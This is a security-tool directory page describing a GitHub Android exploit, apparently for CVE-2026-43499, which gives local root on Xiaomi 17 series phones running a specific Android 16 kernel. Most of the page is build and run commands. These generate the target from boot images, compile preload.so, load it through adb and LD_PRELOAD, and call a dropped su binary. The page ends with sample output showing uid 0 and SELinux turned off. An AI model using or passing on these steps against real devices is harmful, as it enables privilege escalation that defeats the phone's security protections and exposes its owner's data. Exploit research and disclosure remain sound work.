Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-43499-popsicle — CVE-2026-43499 Implementation for 6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k | Kitploit
Tools/GitHubGitHub/x-spy/cve-2026-43499-popsicle
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationMobile SecurityBinary Exploitation
GitHubx-spy/cve-2026-43499-popsicle

CVE-2026-43499-popsicle

CVE-2026-43499 Implementation for 6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k

View Repository
2198181 month agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-43499 for popsicle

This repository contains an Android 16 local privilege escalation implementation for CVE-2026-43499 on Xiaomi 17 Pro Max (popsicle). Verified kernel:

root@kitploit:~
6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k

Devices with this kernel (Xiaomi 17, Pro, and Ultra series) have all been verified to work.

Generate target

Requires Python 3 and llvm-objdump:

root@kitploit:~
python3 generate_target.py \
  --boot boot.img \
  --xbl-config xbl_config.img \
  -o source/src/target.h

Build

root@kitploit:~
make -C source clean preload

When NDK is not auto-detected:

root@kitploit:~
NDK_ROOT=/path/to/android-ndk make -C source clean preload

Final artifact:

root@kitploit:~
source/build/bin/preload.so

Run

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

On success, you will see:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0

After exploitation, the screen can be turned on, unlocked, and the desktop is accessible, but newly launched Android apps crash due to incomplete Framework initialization; after a reboot, app startup returns to normal.

Download Tool